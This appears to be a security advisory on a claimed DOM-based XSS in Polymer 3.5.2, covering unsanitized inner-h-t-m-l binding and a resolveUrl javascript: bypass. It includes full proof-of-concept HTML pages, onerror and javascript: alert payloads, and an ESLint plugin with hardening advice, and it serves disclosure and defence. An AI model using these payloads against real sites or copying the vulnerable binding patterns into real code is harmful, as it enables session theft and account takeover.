Polymer - Version 3.5.2 / Universal DOM-Based XSS via Unsanitized Data Binding
Introduction
Polymer is an open-source JavaScript library developed by Google, designed to make it easier for developers to build custom elements and reusable Web Components. By leveraging native browser APIs, Polymer allows developers to construct encapsulated custom HTML elements that operate seamlessly alongside standard elements, laying the foundation for modern component-based frontend web architectures.
A core feature of Polymer is its lightweight data-syncing and declarative data-binding system. This system simplifies dynamic template updates by syncing properties and attributes automatically, reducing boilerplate code in complex applications. Because Web Components are designed to be highly interoperable, Polymer elements have been widely adopted as building blocks in large-scale enterprise applications and library frameworks. Consequently, any security flaw in its design can easily propagate across dependent systems, making security analysis of its property handling critical.
Vulnerability description
The following documents a security flaw in the Polymer framework's property effects system, whose technical impact results in universal DOM-based Cross-Site Scripting (XSS) when binding untrusted data to sensitive DOM properties. This vulnerability is a design-level flaw in how Polymer handles data binding. To understand why this is a framework-level vulnerability and not just a characteristic of JavaScript, we must examine the concept of "Secure by Default":
-
Secure by Default: Modern web frameworks (such as
React,Angular, orVue) are expected to act as a security layer between user-controlled data and the DOM. For instance,Reactimplicitly escapes all bound data unless the developer explicitly uses thedangerouslySetInnerHTMLproperty.Polymer, however, allows direct binding to sensitive properties likeinner-h-t-m-lvia its standard[[prop]]orsyntax without any default sanitization. By omitting a default sanitizer, the framework fails to provide a secure foundation, shifting the entire security burden to the developer, who often assumes the framework handles basic security tasks. -
Convenience vs. Security: The vulnerability is not simply that "JavaScript can write HTML," but that the framework's internal mechanisms (
PropertyEffects) are designed to write that data directly into the DOM without any filtering unless the developer manually implements awindow.Polymer.sanitizeDOMValuecallback. -
Proof of Framework Flaw: Using a simple reproduction case (e.g.,
repro.html) is valid because it demonstrates that using the framework as documented—utilizing data bindings—results in unauthorized script execution when data originates from an untrusted source (like a URL parameter).
The flaw lies in the fact that the tools provided to simplify developer tasks (data-binding) lack the necessary "guardrails" to prevent common attacks, making the design inherently insecure.
The vulnerable code in lib/mixins/property-effects.js:
function applyBindingValue(inst, node, binding, part, value) {
value = computeBindingValue(node, value, binding, part);
if (sanitizeDOMValue) { // sanitizeDOMValue is undefined by default in lib/utils/settings.js
value = sanitizeDOMValue(value, binding.target, binding.kind, node);
}
if (binding.kind == 'attribute') {
inst._valueToNodeAttribute(node, value, binding.target);
} else {
// sets property directly, bypassing any automatic browser sanitization
}
}
Technical Impact Analysis
Project Purpose & Context
Polymer is a library designed to simplify the creation of Web Components. Its primary value proposition is reducing boilerplate through high-level features like dynamic templates and data-syncing. As a core library used as a dependency in many other components, any inherent security weakness has a compounding effect across the entire ecosystem of applications built with it.
Platform & Deployment Environment
The framework is a client-side library executed within web browsers. It is distributed via the NPM registry and is intended for use in everything from simple static sites to complex single-page applications.
Comprehensive Risk Assessment
The risk is classified as High. Because the framework documentation encourages the use of property bindings for efficiency, developers are highly likely to bind user-controlled data to component properties. Without a default sanitization layer, this pattern creates widespread, silent XSS sinks across any application that does not explicitly opt-in to security by implementing a custom sanitizer.
Attack Scenario
Who wants to exploit a particular vulnerability?
Any remote, unauthenticated attacker who can influence the data being passed into a Polymer component's properties.
For what gain?
The attacker aims to execute arbitrary JavaScript in a victim's browser session. The primary goals include:
- Session Hijacking: Stealing session cookies or local storage tokens.
- Data Exfiltration: Accessing sensitive user profile data or private information displayed on the page.
- Account Takeover: Performing actions on behalf of the user (e.g., changing passwords or email addresses).
In what way?
By injecting a malicious payload (e.g., <img src=x onerror=alert(document.domain)>) into a URL parameter or a database field that the application then retrieves and binds to a Polymer property. If that property is bound to a sensitive DOM attribute (like inner-h-t-m-l), the payload executes immediately upon rendering.
Reproduction steps
Step N° 1. Install project dependencies and the Polymer CLI in a WSL (Ubuntu) environment.
npm install
Step N° 2. Start the local development server from the repository root.
npm run serve
Step N° 3. Create a reproduction file named poc.html in the root folder that uses a data binding to inner-h-t-m-l.
<script type="module">
import { PolymerElement, html } from './polymer-element.js';
class ReproXSS extends PolymerElement {
static get properties() { return { xss: String }; }
static get template() {
return html`<div inner-h-t-m-l="[[xss]]"></div>`;
}
}
customElements.define('repro-xss', ReproXSS);
</script>
<repro-xss id="target"></repro-xss>
<script>
const params = new URLSearchParams(window.location.search);
document.addEventListener('DOMContentLoaded', () => {
document.getElementById('target').xss = params.get('payload');
});
</script>
Step N° 4. Navigate to the following URL to trigger the XSS payload via the payload parameter.
http://127.0.0.1:8081/components/@polymer/polymer/poc.html?payload=<img src=x onerror=alert('XSS_SUCCESS')>
The XSS Evidence
eslint-plugin-polymer-security
ESLint rules for securing Polymer applications against common DOM-based XSS sinks.
The "Pit of Failure" in Polymer
Unlike modern frameworks like React and Angular, which are Secure by Default, Polymer (v3.5.2 and below) allows unsanitized data binding to sensitive DOM properties directly through its template syntax. This creates a "Pit of Failure" where legitimate developers can unintentionally introduce XSS vulnerabilities.
This plugin provides a proactive defense against these design-level flaws by detecting and blocking unsafe patterns at development time.
Installation
You'll first need to install ESLint:
npm i eslint --save-dev
Next, install eslint-plugin-polymer-security:
npm install eslint-plugin-polymer-security --save-dev
Note: You can also install it directly from GitHub:
npm install https://github.com/JoshuaProvoste/eslint-plugin-polymer-security.git --save-dev
Usage
Add polymer-security to the plugins section of your .eslintrc configuration file. You can omit the eslint-plugin- prefix:
{
"plugins": [
"polymer-security"
]
}
Then configure the rules you want to use under the rules section.
{
"rules": {
"polymer-security/no-inner-h-t-m-l-binding": "error",
"polymer-security/no-insecure-url-resolution": "error"
}
}
Supported Rules
no-inner-h-t-m-l-binding
Disallows the use of the inner-h-t-m-l property in Polymer templates and object properties (like the properties getter).
Vulnerable Code:
static get template() {
return html`<div inner-h-t-m-l="[[untrustedData]]"></div>`;
}
Secure Alternative:
Implement a custom sanitizer via window.Polymer.sanitizeDOMValue and use safe data binding patterns.
no-insecure-url-resolution
Disallows calling resolveUrl() or this.resolveUrl() with dynamic (non-literal) input. Polymer's URL resolution utility uses a weak regular expression that fails to filter dangerous protocol schemes like javascript:, data:, and vbscript:.
Vulnerable Code:
_resolve(url) {
return this.resolveUrl(url); // Vulnerable if 'url' is untrusted
}
Secure Alternative:
Only pass hardcoded string literals to resolveUrl() or implement a robust protocol whitelist/sanitizer before resolution.
Security Best Practices for Polymer
To proactively prevent DOM-based XSS in Polymer applications, follow these recommendations:
1. Avoid inner-h-t-m-l Bindings
Always prefer standard data binding to textContent or safe attributes. If you must render HTML:
- Never bind untrusted data directly to
inner-h-t-m-l. - Use a battle-tested library like
DOMPurifyto sanitize anyHTMLbefore it reaches aPolymerproperty. - Register a global sanitizer using
Polymer.sanitizeDOMValue(if usingPolymer 2.x/3.x) to intercept and clean all property-to-attribute bindings.
2. Sanitize URL Inputs
Polymer's resolveUrl is a path normalization utility, not a security sanitizer.
- Whitelist Protocols: Before passing a string to
resolveUrl, verify that it starts with an approved scheme (e.g.,https:,http:,mailto:, or a relative/). - Use the URL API: Use the native
new URL(input)constructor to parse and validate the protocol. If the protocol isjavascript:, reject the input immediately.
3. Use Content Security Policy (CSP)
Implement a strict CSP to act as a secondary defense layer. A well-configured CSP can block the execution of inline scripts and unauthorized protocols even if an injection occurs.
eslint-plugin-polymer-security Proof of Concepts (PoC)
Complete Proof of Concepts demonstrating these vulnerabilities.
1. Unsanitized inner-h-t-m-l Binding
Location: poc/inner-h-t-m-l-binding/poc.html
Description: Demonstrates direct injection into the DOM via unsanitized data binding.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Minimal Polymer XSS Demo</title>
</head>
<body>
<!-- Define the Vulnerable Component -->
<script type="module">
// Import path tracks one level up to C:\polymer\
import { PolymerElement, html } from '../polymer-element.js';
class VulnerableElement extends PolymerElement {
static get properties() {
return {
content: String
};
}
static get template() {
// The Sink: Binding a property directly to 'inner-h-t-m-l'
return html`<div id="sink" inner-h-t-m-l="[[content]]"></div>`;
}
}
customElements.define('vulnerable-element', VulnerableElement);
</script>
<!-- Usage of the Component -->
<div style="font-family: sans-serif; padding: 20px;">
<h1>Polymer XSS Reproduction PoC</h1>
<p>This page captures data from the <strong>'p'</strong> URL parameter and binds it to a Polymer property.</p>
<hr>
<vulnerable-element id="target"></vulnerable-element>
<div id="instructions" style="margin-top: 20px; padding: 10px; background: #f0f0f0; border-radius: 4px;">
<strong>Instructions:</strong>
<p>To trigger the XSS, start a python server in <code>C:\polymer\</code>:</p>
<code>python -m http.server 8081</code>
<p>Then navigate to:</p>
<code>http://localhost:8081/poc/xss-demo.html?p=<img src=x onerror=alert('XSS_SUCCESS_IN_POC')></code>
</div>
</div>
<!-- Logic to trigger the injection -->
<script>
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const payload = params.get('p');
if (payload) {
// Triggers the XSS by assigning untrusted data to the component's property
const target = document.getElementById('target');
if (target) {
target.content = payload;
}
}
});
</script>
</body>
</html>
Evidence:
2. Insecure URL Resolution (ABS_URL Bypass)
Location: poc/xss-url-bypass/poc.html
Description: Demonstrates how resolveUrl fails to filter malicious protocols, leading to XSS on user interaction.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Polymer XSS via Insecure URL Resolution</title>
</head>
<body>
<!-- Define the Vulnerable Component -->
<script type="module">
// Import path tracks one level up to C:\polymer\
import { PolymerElement, html } from '../polymer-element.js';
class ResolveBypassElement extends PolymerElement {
static get properties() {
return {
link: String
};
}
static get template() {
/**
* The Vulnerability:
* 1. Dynamic binding to href$ attribute.
* 2. Processing input via this.resolveUrl().
* 3. Polymer's resolveUrl fails to sanitize dangerous protocols like 'javascript:'.
*/
return html`<a id="target" href$="[[_resolve(link)]]" style="color: blue; text-decoration: underline; cursor: pointer;">Click for XSS (URL Bypass)</a>`;
}
_resolve(url) {
// This call is what the ESLint rule 'no-insecure-url-resolution' detects
return this.resolveUrl(url);
}
}
customElements.define('resolve-bypass-element', ResolveBypassElement);
</script>
<!-- Usage of the Component -->
<div style="font-family: sans-serif; padding: 20px; max-width: 800px; margin: auto;">
<h1 style="color: #d93025;">Polymer XSS Reproduction: URL Resolution Bypass</h1>
<p>This PoC demonstrates a logic bypass in Polymer's <code>resolveUrl</code> utility, which fails to filter executable protocol schemes (e.g., <code>javascript:</code>, <code>data:</code>).</p>
<hr>
<div style="padding: 15px; border: 1px solid #ccc; border-radius: 8px; background: #fff;">
<resolve-bypass-element id="repro"></resolve-bypass-element>
</div>
<div id="instructions" style="margin-top: 20px; padding: 15px; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 4px;">
<strong>Reproduction steps:</strong>
<ol>
<li>Start a web server in <code>C:\polymer\</code>:
<br><code>python -m http.server 8081</code>
</li>
<li>Navigate to the PoC URL (assuming this file is in <code>C:\polymer\poc\</code>):
<br><code>http://localhost:8081/poc/real-poc.html?url=javascript:alert('XSS_SUCCESS_URL_BYPASS')</code>
</li>
<li>Click the <strong>"Click for XSS"</strong> link above.</li>
</ol>
<p><strong>Result:</strong> Arbitrary JavaScript executes because the <code>ABS_URL</code> regex in Polymer allows any word followed by a colon as an "absolute URL" without sanitization.</p>
</div>
</div>
<!-- Logic to capture URL parameter -->
<script>
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const urlInput = params.get('url');
if (urlInput) {
const repro = document.getElementById('repro');
if (repro) {
// Triggers the component process
repro.link = urlInput;
}
}
});
</script>
</body>
</html>
Evidence:
How to run the PoCs:
- Clone this repository.
- Serve the root directory using a local web server (e.g.,
python -m http.server 8081). - For inner-h-t-m-l: Navigate to
http://localhost:8081/poc/inner-h-t-m-l-binding/poc.html?p=<img src=x onerror=alert('XSS_SUCCESS_IN_POC')> - For URL Bypass: Navigate to
http://localhost:8081/poc/xss-url-bypass/poc.html?url=javascript:alert('XSS_SUCCESS_URL_BYPASS')and click the link.
Executive Summary: DOM-based XSS via Unsanitized Data Binding in Polymer
The research identifies a design-level security flaw in the Polymer framework (v3.5.2 and below) that allows for universal DOM-based Cross-Site Scripting (XSS).
- Root Cause: The framework's
PropertyEffectssystem binds untrusted data directly to sensitive DOM properties (such asinner-h-t-m-l) without performing any default sanitization. - Exploitation Mechanism:
Polymerprovides high-level data-binding syntax ([[prop]]or) that implicitly trusts and renders data. By injecting a malicious payload (e.g.,<img src=x onerror=alert('XSS')>) into aURLparameter, an attacker can coerce the framework into rendering the payload into theDOM, resulting in unauthorized script execution.
Analysis of Scope and Security Implications
This vulnerability is of high severity because it violates the "Secure by Default" principle expected of modern web frameworks, shifting the security burden entirely to the developer.
1. Infection Scenarios
- Implicit Trust in Bindings: Because the framework documentation encourages property bindings for efficiency, developers often bind user-controlled data to component properties without implementing the necessary custom
window.Polymer.sanitizeDOMValuecallbacks, leading to widespread XSS sinks. - URL Resolution Bypass: The framework’s
resolveUrl()utility relies on a weak regular expression that fails to filter dangerous protocol schemes such asjavascript:,data:, orvbscript:, allowing attackers to bypass security viaURI-based injection.
2. Factors Exacerbating Risk
- Design-Level Flaw: The vulnerability is not a simple coding error but a fundamental design oversight in the framework's internal data-syncing mechanisms, causing a "Pit of Failure" for developers.
- Compounding Effect: As
Polymeris a core dependency for many web components, any application built using this library is potentially exposed, creating a silent security debt across large enterprise ecosystems.
Conclusion and Recommendation
This is a high-severity vulnerability. The absence of a default sanitization layer in Polymer’s data-binding syntax renders applications highly susceptible to DOM-based XSS.
Suggested actions for the development team:
- Implement Global Sanitization: Register a mandatory global sanitizer using
Polymer.sanitizeDOMValueto intercept and clean all property-to-attribute bindings by default. - Adopt Proactive Tooling: Utilize the provided
eslint-plugin-polymer-securityto detect and block unsafe patterns (likeinner-h-t-m-lbinding and dynamic URL resolution) during the development lifecycle. - Hardened Best Practices: Deprecate the use of
inner-h-t-m-lin favor oftextContentorDOMPurify-sanitized content; implement strict Content Security Policies (CSP) as a secondary defense layer.